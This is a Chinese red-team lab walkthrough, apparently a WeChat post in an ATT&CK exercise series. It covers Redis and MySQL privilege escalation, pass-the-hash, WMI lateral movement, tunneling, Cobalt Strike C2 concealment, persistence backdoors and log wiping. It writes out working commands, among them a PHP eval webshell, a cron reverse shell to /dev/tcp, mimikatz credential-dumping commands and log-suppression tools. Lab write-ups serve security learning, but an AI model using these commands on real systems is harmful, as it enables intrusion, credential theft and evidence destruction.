—————— 昨日回顾 ——————
红日安全出品|转载请注明来源
文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!(来源:红日安全)
—————— —————— —————
(点击上方文字可直接阅读哦)
04横向移动
4.1内网其它主机端口-redis Getshell
1.连接被拒绝,未进行实操
2.使用Redis getshell的几种方法
①通过写SSH key的方式进行getshell
生成密钥对
ssh-keygen -t rsa
将生成的公钥写入到文件中
(echo -e "\n\n\n"; cat id_rsa.pub; echo -e "\n\n\n") > pub.txt
设置路径、文件、写入公钥
config set dir /root/.ssh/
config set dbfilename "authorized_keys"
save
exit
连接
ssh -i id_rsa root@192.168.2.155
②向Web目录中写webshell的方式进行getshell
flushdb
config set dir /var/www/html/
config set dbfilename "gaia.php"
set gaia "<?php eval($_POST[cmd]);?>"
save
exit
③redis写定时任务反弹shell
config set dir /var/spool/cron/
config set dbfilename root
set x "\n* * * * * bash -i >& /dev/tcp/192.168.2.155/2333 0>&1\n"
save
4.2内网其它主机端口-MySQL提权
1.UDF提权
udf是Mysql类提权的方式之一。前提是已知mysql中root的账号密码,我们在拿到webshell后,可以看网站根目录下的config.php里,一般都有mysql的账号密码。利用root权限,创建带有调用cmd函数的’udf.dll’(动态链接库)。当我们把’udf.dll’导出指定文件夹引入Mysql时,其中的调用函数拿出来当作mysql的函数使用。这样我们自定义的函数才被当作本机函数执行。在使用CREAT FUNCITON调用dll中的函数后,mysql账号转化为system权限,从而来提权。
2.MOF提权
托管对象格式 (MOF) 文件是创建和注册提供程序、事件类别和事件的简便方法。文件路径为:c:/windows/system32/wbme/mof/,其作用是每隔五秒就会去监控进程创建和死亡。MOF文件每五秒就会执行,而且是系统权限,通过mysql使用load_file 将文件写入/wbme/mof,然后系统每隔五秒就会执行一次我们上传的MOF。MOF当中有一段是vbs脚本,可以通过控制这段vbs脚本的内容让系统执行命令,进行提权。
4.3PTH
1.pass-the-hash,在Windows系统中,通常会使用NTLM身份认证,NTLM认证不使用明文口令,而是使用口令加密后的hash值,hash值由系统API生成(例如LsaLogonUser),分为LM hash和NT hash,如果攻击者获得了hash,就能够在身份验证的时候模拟该用户(即跳过调用API生成hash的过程),可以直接通过LM Hash和NTLM Hash访问远程主机或服务,而不用提供明文密码。
这类攻击适用于:域/工作组环境,可以获得hash,但是条件不允许对hash爆破,内网中存在和当前机器相同的密码,从windows到windows横向pth这一类攻击方法比较广泛
2.首先在域控中使用mimikatz或hashdump来获取user的NTLM hash值,然后在域内主机上使用sekurlsa::pth 和获取到的hash创建一访问令牌并开启一个进程,使用ste al_token功能窃取开启的进程的访问令牌就可以去访问域控的系统资源了
2.pth攻击,mimikatz使用hash创建与访问令牌,然后使用此令牌身份在当前机器上起一进程sekurlsa::pth /domain:域控名 /user: 相同的用户名 /ntlm: NTLM哈希
3.使用steal_token功能窃取264的访问令牌去访问目标系统资源,dir远程目标系统C盘
4.4域渗透-横向移动[wmi利用]
1.WMI是一个系统插件,用于在本地远程管理计算机的进程,服务,注册表等其它的一系列的特权操作
2.使用Invoke -TheHash https://github.com/Kevin-Robertson/Invoke-TheHash
Invoke-Module Invoke-TheHash.psd1
PTH远程启动进程
Invoke-WMIExec -Target 192.168.3.21 -Domain workgroup -Username administrator -Hash ccef208c6485269c20db2cad21734fe7 -Command "calc.exe" -verbose
3.使用MSF中对应攻击模块
exploit/windows/local/wmi
4.使用wmiexec
wmiexec -hashes LM Hash:
NT Hash
workgroup/administrator@192.168.3.21 "whoami"
05构建通道
5.1内网其它主机端口-代理转发
5.1.1 通过HTTP service的代理
通过上传代理脚本到web服务器,配置proxychains使用socks5代理,使用在启动reGeorgSocksProxy.py时指定的IP地址和端口
5.1.2 Frp内网穿透
1.使用frp服务器及客户端,frp用于提供内网穿透服务的工具,主要用于解决一些内网服务没有公网ip但是却需要提供外网访问的问题。使用frp你可以将内网中的TCP、UDP、HTTP、HTTPS等协议类型的服务发布到公网,并且支持Web服务根据域名进行路由转发。
2.frp架构示意图
3.Github上下载对应版本加压后frps.ini为服务器配置文件
Frpc.ini为客户端配置文件,注意token需与服务器配置文件内一致
5.1.3 CS上线内网主机
1.CS上线192.168.52.0网段的主机,在与外网互通的主机的beacon上设置中专监听
2.生成payload
3.通过MSF使用reGeorg+proxychains进入52网段通过nmap扫描出的漏洞获得shell上传payload,52内网主机上线
5.1.4 SSH隧道
这种代理方式需要比较高的权限(system/root)直接使用系统功能来开启内网代理的隧道,通过SSH隧道进行代理
ssh -qTfnN -L port:host:hostport -l user remote_ip #正向隧道,监听本地port
ssh -qTfnN -R port:host:hostport -l user remote_ip #反向隧道,用于内网穿透防火墙限制之类
SSH -qTfnN -D port remotehost #直接进行socks代理
参数详解:
-q Quiet mode. 安静模式
-T Disable pseudo-tty allocation. 不占用 shell 了
-f Requests ssh to go to background just before command execution. 后台运行,并推荐加上 -n 参数
-N不执行远程命令,端口转发就用它。
有时候,手边没有端口转发的工具,也可以通过ssh来做端口转发
ssh -CfNg -L port1:127.0.0.1:port2 user@host #本地转发
ssh -CfNg -R port2:127.0.0.1:port1 user@host #远程转发
06持久控制
6.1 域渗透-域成员信息收集
利用SPN快读扫描域内存活相关服务及快速定位服务器
6.2收集域渗透- HTTP Listener交互信息隐藏
1.将Cobalt Strike配置文件转换为功能性的mod_rewrite .htaccess或Nginx配置文件,以支持将HTTP反向代理重定向到Cobalt Strike团队服务器。使用反向代理可以保护后端C2服务器免受分析,调查和一般Internet背景辐射。
https://github.com/threatexpress/cs2modrewrite
2.Cobalt Strike通过Malleable C2配置文件修改其流量。配置文件提供了高度可定制的选项,用于修改服务器的C2流量在线路上的形式。Malleable C2配置文件可增加强事件响应的规避,使用的合法内部应用程序冒充已知对手或伪装目标。
https://github.com/rsmudge/Malleable-C2-Profiles
6.3SSP
1.SSP,用于扩展Windows身份验证机制。LSASS进程正在Windows启动期间加载安全支持提供程序DLL。这种行为使红队的攻击者可以删除一个任意的SSP DLL以便与LSASS进程进行交互并记录该进程中存储的所有密码,或者直接用恶意的SSP对该进程进行修补。
2.项目Mimikatz提供了一个DLL文件(mimilib.dll),可以将其放到与LSASS进程(System32)相同的位置,以便为访问受感染主机的任何用户获得纯文本凭据。Mimikatz通过向LSASS注入新的SSP来支持内存技术选项。
privilege::debug
misc::memssp
6.4 金票利用
1.krbtgt账户:每个域控制器都有一个“krbtgt”的用户账户,是KDC的服务账户,用来创建票据授予服务(TGS)加密的密钥。
黄金票据(Golden Ticket):使在拥有普通域用户权限和krbtgt hash的情况下,获取域管理员权限。
2.查找构造金票需要的 ntml和sid
利用krbtgt的ntlm hash生成金票并写入缓存
也可使用CS中的图形化窗口Golden Ticket生成
6.5后门植入
1.使用persistence启动项后门,
在C:\Users***\AppData\Local\Temp\目录下,上传一个vbs脚本
在注册表
HKLM\Software\Microsoft\Windows\CurrentVersion\Run\加入开机启动项
2.metsvc服务后门,在C:\Users***\AppData\Local\Temp\上传了三个文件(metsrv.x86.dll、metsvc-server.exe、metsvc.exe),通过服务启动,服务名为meterpreter
连接后门,
set payload windows/metsvc_bind_tcp
3.CS捆绑后门,捆绑后门和非捆绑后门的PE结构几乎是一样的,前者只比后者多了一个.rsrc节段,这也说明,捆绑的方式应该是将整个原文件以.rsrc节段的方式附加到后门的末尾。这种捆绑方法的好处就是兼容性好,无论捆绑什么软件,只要将原文件数据追加到后门末尾就行了,但缺点也易见,PE代码结构与非捆绑型后门几乎一样,很容易被检测出来。
07痕迹清理
7.1日志清理
1.需要清理的日志有,windows日志系统中记录的默认提供的日志,应用程序日志,安全性日志和系统日志,防火墙日志,NS服务器日志,web中间件的日志
只需了解这些日志的默认位置并对其进行删除即可,若管理员将这些日志重定位,其中EVENTLOG下面有很多的子表,里面可查到程序日志,安全日志,系统日志,DNS服务器日志、Internet信息服务FTP日志默认位置、Internet信息服务WWW日志默认位置、Scheduler服务日志默认位置的定位目录。
Elsave可用于远程清除Windows日志文件,也可以备份远程日志文件。
2.使用工具清除windows日志
Clearlog.exe
3.也可使用脚本工具停止系统日志记录
https://github.com/3gstudent/Windows-EventLog-Bypass
https://github.com/hlldz/Invoke-Phant0m
—————— 今日福利 ——————
# 关注公众号在后台回复 PDF #
即可获得ATT&CK实战 | 红队评估
PDF下载地址 哟〜
—————— —————— —————
海量安全课程 点击以下链接 即可观看